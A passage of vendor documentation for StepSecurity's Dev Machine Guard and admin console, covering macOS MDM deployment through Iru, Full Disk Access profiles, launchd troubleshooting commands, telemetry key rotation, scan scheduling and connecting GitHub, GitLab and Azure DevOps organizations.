#### **Option B: Manual grant per machine**

For dev-only or single-machine testing, grant FDA manually:

1. Open System Settings → Privacy & Security → Full Disk Access.
2. Click `+`, then navigate to `~/.stepsecurity/bin/stepsecurity-dev-machine-guard`. Use \<kbd>Cmd\</kbd>+\<kbd>Shift\</kbd>+\<kbd>.\</kbd> in the file picker to show the `.stepsecurity` dotfolder.
3. Toggle the entry on.

The grant is tied to the binary's code signature. If you upgrade the binary (the loader's auto-update runs on every periodic tick), the existing grant carries over as long as the signing identity is unchanged. Dev Machine Guard releases are signed by the same Apple Developer Team for the life of each major version, so manual grants survive upgrades within that line.

### Full rollout

A fleet rollout that scans TCC paths typically looks like this:

1. Your MDM deploys the loader script (downloaded from the StepSecurity dashboard for your customer ID).
2. Your MDM also deploys the PPPC profile (Option A above) granting the agent Full Disk Access.
3. The loader's generated `config.json` includes `"include_tcc_protected": true`. Either:
   * Edit the loader script's `write_config()` heredoc to emit the field before deploying via MDM, or
   * Push a config file alongside the loader (drop it into `~/.stepsecurity/config.json` via your MDM's file-deploy mechanism).

After the next periodic fire, the agent runs with full coverage and no popups.

### Troubleshooting: a popup appears anyway

If a popup appears after deploying the PPPC profile and setting `include_tcc_protected: true`, the typical causes are:

* **Code requirement mismatch.** The PPPC profile's `CodeRequirement` string must match the binary's actual signing. Re-run `codesign -d -r-` against the deployed binary and update the profile.
* **Binary path mismatch.** If `IdentifierType=path` is used, the `Identifier` must match the absolute path of the binary on disk. Different per-user install directories can require deploying the profile per user, or matching on the code requirement alone.
* **TCC cache.** TCC caches decisions. After changing a profile, reset the relevant service so macOS re-evaluates against the latest profile on the next access:

```bash
  sudo tccutil reset SystemPolicyAllFiles
```

The agent does not call `tccutil` on its own; this is a diagnostic step only.

* **`include_tcc_protected` not actually set.** Verify with `cat ~/.stepsecurity/config.json` and re-run the loader's `write_config` step if the field is missing.

{% hint style="info" %}
For the full schema of the PPPC payload, see [Apple's PrivacyPreferencesPolicyControl documentation](https://developer.apple.com/documentation/devicemanagement/privacypreferencespolicycontrol).
{% endhint %}


# Iru (formerly Kandji)

This guide walks through deploying Dev Machine Guard across your macOS fleet using **Iru** (formerly Kandji). The deployment uses Iru's **Custom Script** library item to run the loader on a daily schedule, after a short pilot run at higher frequency.

{% hint style="info" %}
The loader script shown in the StepSecurity dashboard is rendered with your tenant's credentials already embedded and should work as-is. If you need to customize the script (alternative install directory, proxy, etc.), reach out to StepSecurity.
{% endhint %}

### Prerequisites

* An Iru tenant with administrative access to **Library** and **Blueprints**.
* A Blueprint scoped to the devices you want to enroll in the pilot, and a second Blueprint covering your full fleet for rollout.
* The Dev Machine Guard loader script for your tenant, downloaded from the StepSecurity dashboard (Step 1 below).

### Step 1. Copy the loader script

* Sign in to the [StepSecurity dashboard](https://app.stepsecurity.io/).
* In the sidebar, go to **Developer Machines → Installation Script**.
* On the **macOS** tab, click the **Copy** button at the top right of the script editor. (You can alternatively click **Download** to save the script as a file.)

<figure><img src="/files/RysQaYpIfrYwWBlCaRAS" alt=""><figcaption></figcaption></figure>

### Step 2. Create a Custom Script in Iru

* In Iru, open **Library** from the left sidebar.
* Click **Add Library Item**.
* In the **General** category, select **Custom Script** and click **Add and configure**.

<figure><img src="/files/awDvDKeWPAXa5rHeTv7l" alt=""><figcaption></figcaption></figure>

### Step 3. Configure the script

* Give the script a descriptive name, for example `StepSecurity Dev Machine Guard`.
* Under **Blueprints**, select the Blueprint that targets your pilot devices.
* Under execution frequency, select **Every 15 Minutes**. You will change this to **Run daily** after pilot validation in Step 6.
* Leave **Self Service** disabled.

<figure><img src="/files/63ZkTIVeUeUBq2JDXDCG" alt=""><figcaption></figcaption></figure>

### Step 4. Paste the loader script

* Scroll to the **Audit Script** section.
* Paste the loader script you copied in Step 1 into the editor.
* Leave the **Remediation Script** field empty.
* Click **Save** at the bottom right.

<figure><img src="/files/omYBvs995achShUH5Fyv" alt=""><figcaption></figcaption></figure>

### Step 5. Validate on the pilot group

The 15-minute frequency set in Step 3 means each pilot device will run the loader automatically within 15 minutes of receiving the Blueprint. **No action is needed on the client devices.**

After 15 to 30 minutes, confirm on each pilot device:

* The library item status in Iru shows the script ran successfully.
* The device appears in the StepSecurity dashboard under **Developer Machines → Devices** with recent telemetry.

### Step 6. Roll out to the fleet

Once validation passes, update the Custom Script in Iru:

* Under **Blueprints**, change the assignment from your pilot Blueprint to the Blueprint covering your full fleet.
* Change execution frequency from **Every 15 Minutes** to **Run daily**.
* Click **Save**.

<figure><img src="/files/azPmAh1R2GVLfGLUAa7h" alt=""><figcaption></figcaption></figure>

### Uninstalling

To stop Dev Machine Guard from running on enrolled devices, either:

* Remove the Custom Script library item from the Blueprint, or
* Remove the device from the Blueprint.

Iru will stop scheduling further loader runs immediately. Any locally installed Dev Machine Guard binary will remain on the device until cleaned up out-of-band; see [Devices](/developer-machines/devices) for guidance.

### Troubleshooting

| Symptom                                               | Where to look                                                                                |
| ----------------------------------------------------- | -------------------------------------------------------------------------------------------- |
| Iru reports the library item as failed                | Iru → Library → the Custom Script item → run history and per-device logs                     |
| Iru shows the script as successful but no device data | Confirm the script pasted in Step 4 is the full loader, including the embedded configuration |
| Devices missing from the StepSecurity dashboard       | Confirm the pilot Blueprint covers the expected devices in Iru                               |

For additional support, [contact StepSecurity](https://www.stepsecurity.io/contact).


# launchd Troubleshooting

This page is a command reference for diagnosing the Dev Machine Guard launchd job on macOS (label `com.stepsecurity.agent`). It applies when the agent was deployed with the **Scheduled via launchd** pattern from the [Script](/developer-machines/installation/script) wizard. If your fleet uses the **MDM-scheduled** pattern, launchd is not involved: check your MDM's script execution logs instead.

#### How scheduled runs work

The loader installs a launchd plist with a `StartInterval` (default 4 hours). On each tick, launchd re-runs the loader script, which auto-updates the binary and then runs `send-telemetry`.

`RunAtLoad` is set to `false`, so loading the plist (at login, boot, or install) never triggers a scan. Only the interval does. The one-off initial scan runs explicitly at install time. To force an out-of-cycle run, use `kickstart`

```xml
<key>StartInterval</key>
<integer>14400</integer>   <!-- fire every 4 hours -->
<key>RunAtLoad</key>
<false/>                   <!-- do not run at load -->
```

`RunAtLoad=false` avoids a redundant scan on every login and reboot, and prevents a fleet-wide scan stampede at boot time. The practical consequence: after a `bootstrap`, `load`, or reload, nothing runs on its own. Use `kickstart` to trigger a scan immediately.

#### LaunchAgent vs. LaunchDaemon

The expected setup is almost always a per-user **LaunchAgent** running as the console user. That is what the loader installs. Even when your MDM runs the loader as root, it resolves the console user and installs a per-user LaunchAgent. If no one is logged in, it aborts with `no_user` rather than falling back to root.

A root **LaunchDaemon** under `/Library/LaunchDaemons/` only appears in two cases: a legacy agent script installed as root before the loader architecture, or a manual `sudo <binary> install`. Current tooling does not create one, but check for a leftover when cleaning up.

|         | Per-user LaunchAgent (expected)                       | Root LaunchDaemon (rare)                              |
| ------- | ----------------------------------------------------- | ----------------------------------------------------- |
| Plist   | `~/Library/LaunchAgents/com.stepsecurity.agent.plist` | `/Library/LaunchDaemons/com.stepsecurity.agent.plist` |
| Domain  | `gui/$(id -u)`                                        | `system`                                              |
| Runs as | console user                                          | root                                                  |
| Logs    | `~/.stepsecurity/agent.log`, `agent.error.log`        | `/var/log/stepsecurity/agent.log`, `agent.error.log`  |
| `sudo`  | no                                                    | yes (use the `system` domain)                         |

To tell a loader-managed install (MDM, auto-updates) apart from a binary-managed one (manual `install`, no auto-update), check what the plist runs:

```bash
plutil -p "$PLIST" | grep -A4 ProgramArguments
# /bin/bash .../stepsecurity-loader.sh send-telemetry   -> loader-managed (auto-updates each tick)
# .../stepsecurity-dev-machine-guard send-telemetry     -> binary-managed (no auto-update)
```

#### Shell setup for the commands below

```bash
LABEL=com.stepsecurity.agent

# Expected: per-user LaunchAgent
DOMAIN="gui/$(id -u)"
PLIST="$HOME/Library/LaunchAgents/$LABEL.plist"
LOGDIR="$HOME/.stepsecurity"

# Check whether a root LaunchDaemon is also present (rare). If it is, redo with
# sudo and: DOMAIN=system  PLIST=/Library/LaunchDaemons/$LABEL.plist  LOGDIR=/var/log/stepsecurity
ls -la "$HOME/Library/LaunchAgents/$LABEL.plist" 2>&1
ls -la "/Library/LaunchDaemons/$LABEL.plist" 2>&1
```

#### Check status

```bash
launchctl list | grep stepsec                          # loaded? PID + last exit code
launchctl list "$LABEL"                                # one-job summary
launchctl print "$DOMAIN/$LABEL"                       # full state, schedule, last exit
launchctl print-disabled "$DOMAIN" | grep stepsec      # disabled override? (loads but never runs)
launchctl enable "$DOMAIN/$LABEL"                      # clear a disable override
```

#### Inspect the plist

```bash
plutil -p "$PLIST"                                     # readable dump
plutil -lint "$PLIST"                                  # validate XML
plutil -p "$PLIST" | grep -A4 ProgramArguments         # loader script vs. binary
/usr/libexec/PlistBuddy -c "Print :StartInterval" "$PLIST"          # seconds (14400 = 4 hours)
/usr/libexec/PlistBuddy -c "Print :EnvironmentVariables" "$PLIST"   # baked HOME / STEPSECURITY_HOME
```

#### Check config and version

```bash
cat "$HOME/.stepsecurity/config.json"                  # effective config (contains api_key)
cat "$HOME/.stepsecurity/.current_version"             # version the loader last installed
"$HOME/.stepsecurity/bin/stepsecurity-dev-machine-guard" --version   # running binary version
ls -la "$HOME/.stepsecurity" "$HOME/.stepsecurity/bin" # owner should be the console user, not root
```

#### Read the logs

```bash
tail -n 100 "$LOGDIR/agent.log"                        # scheduled-run stdout
tail -n 100 "$LOGDIR/agent.error.log"                  # scheduled-run stderr (rotates to .prev at 5 MiB)
tail -f "$LOGDIR"/agent.log "$LOGDIR"/agent.error.log  # watch live
tail -n 50 "$HOME/.stepsecurity/ai-agent-hook-errors.jsonl"   # AI agent hook errors
stat -f '%Sm' "$LOGDIR/agent.log"                      # last scheduled-run time
log show --predicate 'process == "launchd"' --last 2h | grep -i stepsec   # launchd's own view
```

#### Force a run

```bash
launchctl kickstart -k "$DOMAIN/$LABEL"                # run now (-k restarts if a run is in flight)
/bin/bash "$HOME/.stepsecurity/bin/stepsecurity-loader.sh" send-telemetry   # run the loader by hand (update + scan)
```

#### Reload after editing the plist

```bash
launchctl bootout   "$DOMAIN/$LABEL" 2>/dev/null
launchctl bootstrap "$DOMAIN" "$PLIST"
launchctl print     "$DOMAIN/$LABEL" | head -20
```

Changes to `config.json` need no reload. The config is read at run time, so a `kickstart` is enough.

#### Uninstall

```bash
/bin/bash "$HOME/.stepsecurity/bin/stepsecurity-loader.sh" uninstall   # loader-managed (MDM)
"$HOME/.stepsecurity/bin/stepsecurity-dev-machine-guard" uninstall     # binary-managed

# Manual fallback:
launchctl bootout "$DOMAIN/$LABEL" 2>/dev/null || launchctl unload "$PLIST" 2>/dev/null
rm -f "$PLIST"

# Verify
launchctl list | grep stepsec                          # expect no output
ls -la "$PLIST" 2>&1                                   # expect not found
rm -rf "$HOME/.stepsecurity"                           # wipe local state (optional)
```

#### Reinstall

```bash
/bin/bash "$HOME/.stepsecurity/bin/stepsecurity-loader.sh" install   # or re-push the loader via MDM
launchctl print "$DOMAIN/$LABEL" | grep -iE 'state|last exit'
launchctl kickstart -k "$DOMAIN/$LABEL" && tail -n 20 "$LOGDIR/agent.log"
```

#### Common issues

* **`config.json` is rewritten every tick.** The loader's `write_config()` keeps only a fixed set of fields (`customer_id`, `api_endpoint`, `api_key`, `scan_frequency_hours`, plus optional `install_dir`, `max_execution_duration`, and scan toggles). Any other hand-edited field, such as `include_tcc_protected`, is wiped within one interval. To make a field stick, edit the loader script's `write_config()` heredoc before deploying it. [See macOS TCC permissions](/developer-machines/installation/script/mdm-deployment/macos#macos-tcc-permissions) for the fleet rollout pattern.
* **Runs only in a live GUI session.** With no console user (login window, headless, SSH), the LaunchAgent is not loaded and will not fire. The loader's initial run errors with `no_user`, and `launchctl ... gui/<uid>` over SSH can return `Bootstrap failed: 5`.
* **TCC prompts are real.** The agent runs in the user's GUI session, so scanning `~/Documents`, `~/Downloads`, and similar paths pops permission dialogs. These paths are skipped by default. To scan them without prompts, grant Full Disk Access via a PPPC profile and set `include_tcc_protected`. [See macOS TCC permissions](/developer-machines/installation/script/mdm-deployment/macos#macos-tcc-permissions) .
* **A wedged run blocks every tick.** The binary's lock file makes overlapping runs exit. A hung run holds the lock until the loader kills processes older than its maximum process age on a later tick. This self-heals, but scans are lost until it does.
* **`StartInterval` quirks.** Fires missed during sleep coalesce into a single run on wake. The timer also restarts on each load and login, so short sessions on a long interval can starve the schedule.
* **`Bootstrap failed: 5`** most often means the job is already loaded. Run `bootout` first, then `bootstrap`.


# Settings

The **Settings** page manages organization-wide Dev Machine Guard configuration: the telemetry key that agents authenticate with, the scan schedule that controls how often devices run a full scan, and the device-activity threshold that controls when a device is marked inactive.

These settings apply to every device in your organization.

### Telemetry Key

<figure><img src="/files/yp6Lnn3bd1SLgdWKTEOi" alt=""><figcaption></figcaption></figure>

Dev Machine Guard agents authenticate to the StepSecurity backend using a telemetry key. The key is used by all Dev Machine Guard agents on your tenant.

{% hint style="info" %}
Viewing or rotating the telemetry key requires the Dev Machine Guard **write** permission. Without it, this section shows a message in place of the key controls.

Access levels are set per feature on a role. See Roles for how permissions are assigned, or contact your admin.
{% endhint %}

The backend supports two keys, **Primary** and **Secondary**, and accepts either one. This lets you rotate keys without downtime: agents keep using their baked-in key until they are redeployed.

**Fields**

* **Key selector**: switch between the **Primary** and **Secondary** key.
* **Key value**: masked by default. Use the reveal (eye) icon to view it and the copy icon to copy it.
* **Rotate**: generate a new value for the selected key.
* **Last rotated**: shows when the selected key was last rotated (`Never` if it has not been rotated).

#### Rotating the telemetry key

Because the backend accepts either key, rotate in this order to avoid interrupting agents:

1. Rotate the **Secondary** key.
2. Redeploy your fleet with the new Secondary key so agents pick it up.
3. Rotate the **Primary** key.

Agents continue authenticating with their baked-in key until they are redeployed, so following this order ensures no device loses connectivity mid-rotation.

### Scan Schedule

<figure><img src="/files/CnIf2WieAmKORt7bcBJe" alt=""><figcaption></figcaption></figure>

Scan Schedule controls how often each device runs a full scan.

Agents check in with StepSecurity every few minutes and scan when one is due. A change here therefore reaches your whole fleet on the next check-in, without redeploying agents and without touching your MDM.

The default is a full scan every 4 hours.

{% hint style="warning" %}
Agents older than **1.15.0** ignore this schedule and scan on every launch. Upgrade to 1.15.0 or later for schedule changes to take effect on a device.
{% endhint %}

**Fields**

* **Full scan every (minutes)**: the interval between full scans. Enter a value in the **Minutes** field. A human-readable equivalent appears beside it, so `240` displays as *4 hours*. Between scans, agent launches check in and exit without scanning.
* **Add temporary boost**: opens the Temporary boost panel.
* **Save schedule**: applies your changes.

#### **Temporary boost**

<figure><img src="/files/8GSPI5a6to1FEaj78PI1" alt=""><figcaption></figcaption></figure>

A temporary boost scans more aggressively for a limited period, for example during an incident, and then reverts to the regular schedule automatically at the end time. You do not need to remember to change it back.

Select **Add temporary boost**, then set:

* **Every (minutes)**: the scan interval to use while the boost is active. Defaults to `60`.
* **until**: the date and time the boost ends.

Select **Save schedule** to apply the boost. To end a boost before its scheduled end time, select **Remove boost** and then **Save schedule**.

### Device Activity

<figure><img src="/files/i5rb8fgCiJ6mPv0m6SXS" alt=""><figcaption></figcaption></figure>

Device Activity controls when a device is marked inactive in the device list. This applies to every device in your organization.

**Current setting** shows the active threshold in plain language, for example: *Devices are marked inactive after 3 days without telemetry.*

**Inactive after (days)**: mark a device inactive once it has not reported telemetry for this many days. Enter a value in the **Days** field and select **Save device activity** to apply it.

{% hint style="info" %}
This is the same threshold exposed as **Inactive threshold** in Step 3 of the [Script](/developer-machines/installation/script) wizard. Changing it in either place updates the organization-wide setting.
{% endhint %}


# Admin Console

The **Admin Console** is your control center for managing organizations, members, permissions, integrations, and security settings in StepSecurity.

### Sections

<table data-card-size="large" data-view="cards" data-full-width="false"><thead><tr><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><strong>Resources</strong></td><td>Manage GitHub, GitLab and Azure DevOps organizations and servers</td><td><a href="/pages/jaZpm8QvDmTycQyQVLxQ">/pages/jaZpm8QvDmTycQyQVLxQ</a></td></tr><tr><td><strong>Integrations</strong></td><td>Configure and manage third-party integrations</td><td><a href="/pages/RiaiX7SpGTNr8pfAe4w9">/pages/RiaiX7SpGTNr8pfAe4w9</a></td></tr><tr><td><strong>Access Control</strong></td><td>Manage members, define roles, and configure how your team signs in to StepSecurity</td><td><a href="/pages/KCeDDdfIIWjzEVf5Cr7k">/pages/KCeDDdfIIWjzEVf5Cr7k</a></td></tr><tr><td><strong>Audit Logs</strong></td><td>See the history of changes made in the organization</td><td><a href="/pages/v2emeck24GrGE9Vg2aMZ">/pages/v2emeck24GrGE9Vg2aMZ</a></td></tr><tr><td><strong>Reports</strong></td><td>View coverage details of Stepsecurity Harden-Runner</td><td><a href="/pages/YMgmyJC18QSIQ49Lt0Dr">/pages/YMgmyJC18QSIQ49Lt0Dr</a></td></tr></tbody></table>


# Resources

The Resources section of the Admin Console is where administrators connect StepSecurity to the platforms it protects, and where they configure organization-wide protection settings. Each resource type maps to a tab in the left navigation.

From this section you can:

* Connect and manage the source code platforms StepSecurity runs on (GitHub Cloud, GitHub Enterprise Server, GitLab, Azure DevOps).
* Review and configure Dev Machine Guard, the agent that protects developer devices across your organization.

<figure><img src="/files/621Ncmq9F6EzWFCeIoJS" alt=""><figcaption></figcaption></figure>


# GitHub Cloud Organizations

The GitHub Cloud Organizations page lists every `github.com` organization connected to StepSecurity and gives administrators a single place to add new organizations or jump into an existing organization's dashboard.

<figure><img src="/files/14E9XpWBnswoMAKYHwKs" alt=""><figcaption></figcaption></figure>

### What you can do here

* **View connected organizations.** The table lists every GitHub.com organization where the StepSecurity GitHub App has been installed.
* **Add a new organization.** Click **Add Organization** in the top right to begin connecting a new GitHub.com organization.
* **Open an organization's dashboard.** Click **Dashboard** on any row to open that organization's StepSecurity dashboard, where you can review insights, workflow runs, detections, and policies for its repositories.

### Adding a GitHub Cloud Organization

1. Click **Add Organization** in the top right.
2. Complete the StepSecurity GitHub App installation flow on the target organization. You will need GitHub admin permissions on the organization to complete the install.
3. The organization appears in the table within a few minutes of a successful install.

### Removing an organization

To disconnect an organization, uninstall the StepSecurity GitHub App from that organization on GitHub. The entry is removed from this page automatically once the uninstall is detected.


# GitHub Enterprise Servers

{% hint style="info" %}
**GHES support is disabled by default. Customers need to** [**contact us**](https://www.stepsecurity.io/contact) **to have it enabled for their tenant**
{% endhint %}

The GitHub Enterprise Servers page enables administrators to connect, configure, and manage multiple GitHub Enterprise Server (GHES) instances within their organization.

## GitHub Enterprise Server Deployment Instructions

### **Step 1: Choose a Connectivity Model**

To allow StepSecurity to access your GHES instance, select one of the following connectivity options:

#### **Option 1: Allowlisting StepSecurity Outbound IPs**

* If your GHES instance is internet-routable and does not restrict inbound traffic, no additional configuration is required.
* If your GHES instance does have ingress IP restrictions, you can allowlist StepSecurity’s fixed outbound IP addresses:

```
44.238.197.212
44.233.243.208
```

#### **Option 2: StepSecurity Broker**

* If your GHES instance resides in an air-gapped or internal-only environment, use the StepSecurity Broker.
* The Broker is provided as a Kubernetes Helm chart that runs as a pod in your environment, enabling secure, outbound-only communication with the StepSecurity platform.

| Your Setup                                       | Recommended Option                    |
| ------------------------------------------------ | ------------------------------------- |
| GHES is internet-accessible with no restrictions | Option 1                              |
| GHES is internet-accessible with IP allowlist    | Option 1 (allowlist StepSecurity IPs) |
| GHES is air-gapped or internal only              | Option 2                              |

{% hint style="info" %}
**Complete this section only if you selected Option 2**
{% endhint %}

**StepSecurity Broker Deployment (Optional)**

The StepSecurity Broker enables the StepSecurity platform to make GitHub API calls on private GHES endpoints.

1. **Select a Kubernetes Cluster**

* Choose a cluster where the Broker resources will be created.
* Ensure the cluster can:
  * Successfully make API calls to your GHES endpoint, and
  * Reach the StepSecurity platform over the internet.

2. **Deploy the Helm Chart**

* The Helm deployment instructions are available in your StepSecurity tenant dashboard.
* Go to Resources → GitHub Servers → Broker → Add Broker.
* Deploy the provided Helm chart on your selected Kubernetes cluster.

<figure><img src="/files/D4j6Bhx2hfyNb4FU1csM" alt=""><figcaption></figcaption></figure>

3. **Verify the Deployment**

* The deployment typically completes within one minute.
* Run the following command to confirm the status:

```
kubectl get pods -n [namespace]
```

* Once deployed, the active Broker instance will appear under Resources → GitHub Servers → Brokers.

<figure><img src="/files/sl1hsDnZu92K3xIt5RcG" alt=""><figcaption></figcaption></figure>

### Step 2: Onboard StepSecurity on Your GHES Instance

* Go to Resources → GitHub Servers → Add GitHub Server in your StepSecurity tenant portal.
* Provide the required GHES details.
* If using the StepSecurity Broker, check **Use Broker** and enter the Broker label you configured earlier.

  If not, leave the option unchecked.

<figure><img src="/files/QJNlumnjQgmL6YAmFhmW" alt=""><figcaption></figcaption></figure>

* Click Add Server.
* You’ll be redirected to your GHES instance to complete the GitHub App manifest installation.

<figure><img src="/files/uamgEg5vUnoH6eGBjfcI" alt=""><figcaption></figcaption></figure>

Once the StepSecurity GitHub App is successfully created on your GHES instance, you’ll be redirected back to your StepSecurity tenant portal.

#### Step 3: Install the StepSecurity GitHub App on Organizations

* After the App manifest is deployed, click Visit App in your StepSecurity portal.

<figure><img src="/files/SpHVC3dfOgMSi6X60kYV" alt=""><figcaption></figcaption></figure>

* This will take you to the GitHub App page in your GHES. Click on Install / Configure.

<figure><img src="/files/ROE7FBDndcTDz53npH3e" alt=""><figcaption></figcaption></figure>

* Select the GitHub organization where you want to install the StepSecurity App.

<figure><img src="/files/uCIMl8f1TpWe2ZZmswWe" alt=""><figcaption></figcaption></figure>

* Repeat this process for each additional organization as needed.

#### Step 4: Access the StepSecurity Dashboard

Once the StepSecurity GitHub App is installed:

* Go to Resources → GitHub Servers → Servers.
* Click the organization link under the Organization column to open its dashboard.

<figure><img src="/files/SMpCNc2SJt170leLnbR9" alt=""><figcaption></figcaption></figure>

* It may take up to 5 minutes for the organization to appear in the dashboard after initial installation.

<figure><img src="/files/NSwzZykxrdQiSCA39tsK" alt=""><figcaption></figcaption></figure>

#### Need Help?

If you encounter any issues during setup or deployment, contact your StepSecurity representative for assistance.


# Gitlab Servers

The GitLab Servers page lists every GitLab instance connected to StepSecurity, including both `gitlab.com` and self-hosted GitLab servers.

{% hint style="info" %}
StepSecurity's GitLab integration currently supports self-hosted GitLab runners. For the full scope of supported capabilities, see the [GitLab documentation](https://docs.stepsecurity.io/gitlab/).
{% endhint %}

<figure><img src="/files/fqxfTqDRKD3gy7KruGZx" alt=""><figcaption></figcaption></figure>

### What you can do here

* **View connected GitLab instances:** The table lists every GitLab server registered with StepSecurity, identified by name. The `cloud-instance` entry represents `gitlab.com`.
* **View projects on a server:** Click **Projects** on any row to see the GitLab projects StepSecurity has discovered on that server.
* **Check agent status:** Click **Agent status** on any row to see the connection status of the StepSecurity agent for that server, including whether the agent is currently reporting telemetry.

### Adding a GitLab server

GitLab servers are connected to StepSecurity by deploying the StepSecurity agent on a self-hosted GitLab runner. Once the agent is running and authenticated, the server appears in this list automatically.

For the full agent installation walkthrough, see the [GitLab documentation](/gitlab/settings/self-hosted-runners).


# Azure DevOps Organizations

The Azure DevOps Organizations page lists every Azure DevOps organization connected to StepSecurity and provides per-organization setup instructions and dashboard access.

{% hint style="info" %}
StepSecurity's Azure DevOps integration currently supports Azure-hosted runners. For the full scope of supported capabilities, see the [Azure DevOps documentation](https://docs.stepsecurity.io/azure-devops/).
{% endhint %}

<figure><img src="/files/XKEKab9oiQqyCEISM9U4" alt=""><figcaption></figcaption></figure>

### What you can do here

* **View connected organizations.** The table lists every Azure DevOps organization registered with StepSecurity, identified by organization name.
* **Add a new organization.** Click **Add Organization** in the top right to begin connecting a new Azure DevOps organization.
* **Review setup instructions.** Click **Setup Instructions** on any row to see the configuration steps for connecting StepSecurity to that organization's Azure Pipelines.
* **Open an organization's dashboard.** Click **Dashboard** on any row to open that organization's StepSecurity dashboard, where you can review insights and detections from its pipeline runs.

### Adding an Azure DevOps Organization

* Navigate to Resources under Admin Console

![](https://colony-recorder.s3.amazonaws.com/files/2026-05-08/51e76bac-fe49-4a72-ad63-159870b821d6/ascreenshot_3af4e475473d4eccb09bbf2e9329666b_text_export.jpeg)

* Under Azure DevOps Organizations, click **Add Organization** in the top right.

![](https://colony-recorder.s3.amazonaws.com/files/2026-05-08/e30ec7af-29b5-48b1-83fe-4c111736f38f/user_cropped_screenshot_0d4b9b0744b14bc2b612ab09d5d44efb_text_export.jpeg)

* Provide the required Azure DevOps organization details and complete the connection flow.

![](https://colony-recorder.s3.amazonaws.com/files/2026-05-08/3325fc87-0b4d-4157-9a26-ea929d8dc131/user_cropped_screenshot_a7e5095f5a6b4614afea6947e7971a25_text_export.jpeg)

* After the organization is added, click **Setup Instructions** on its row and follow the steps to configure StepSecurity for Azure-hosted runners in that organization.

![](https://colony-recorder.s3.amazonaws.com/files/2026-05-08/843ea0e5-ee98-4ae8-8798-94bbbf088d33/user_cropped_screenshot_d2d14371374e48d29fb6421c6f9901ce_text_export.jpeg)

* The first step in the setup process involves logging into your Azure tenant and installing the StepSecurity app

<figure><img src="/files/FNEaG4GwsSjI11dWhgac" alt=""><figcaption></figcaption></figure>

* After completing the setup, the organization will be fully connected and visible in the dashboard.

<figure><img src="/files/x3HCkR5PmkAYkiasFIQZ" alt=""><figcaption></figcaption></figure>


# Dev Machine Guard

The Dev Machine Guard tab in the Resources section shows whether Dev Machine Guard is enabled for your organization and the default scan frequency that applies to enrolled devices. Use this tab to confirm the org-level configuration, then jump to the full Dev Machine Guard dashboard to manage devices, allowlists, and policies.

{% hint style="info" %}
For the full Dev Machine Guard product documentation, including device enrollment, IDE extension and AI agent policies, MCP server monitoring, and OSS dependency tracking, see the [Dev Machine Guard section](https://docs.stepsecurity.io/dev-machine-guard/).
{% endhint %}

<figure><img src="/files/LPTGUcJXh60QTWgKO01T" alt=""><figcaption></figcaption></figure>

### What you can do here

* **Confirm Dev Machine Guard is enabled:** The Configuration Details panel shows whether the agent is enabled for your organization.
* **Review the default scan frequency:** This is how often the Dev Machine Guard agent scans an enrolled device by default. The default is 4 hours.
* **Open the Dev Machine Guard dashboard:** Click **Visit Dashboard** in the top right to open the full Dev Machine Guard dashboard, where you can manage enrolled devices, IDE extension allowlists, AI agent inventories, MCP server policies, and dependency monitoring rules.




---

[Next Page](/llms-full.txt/1)

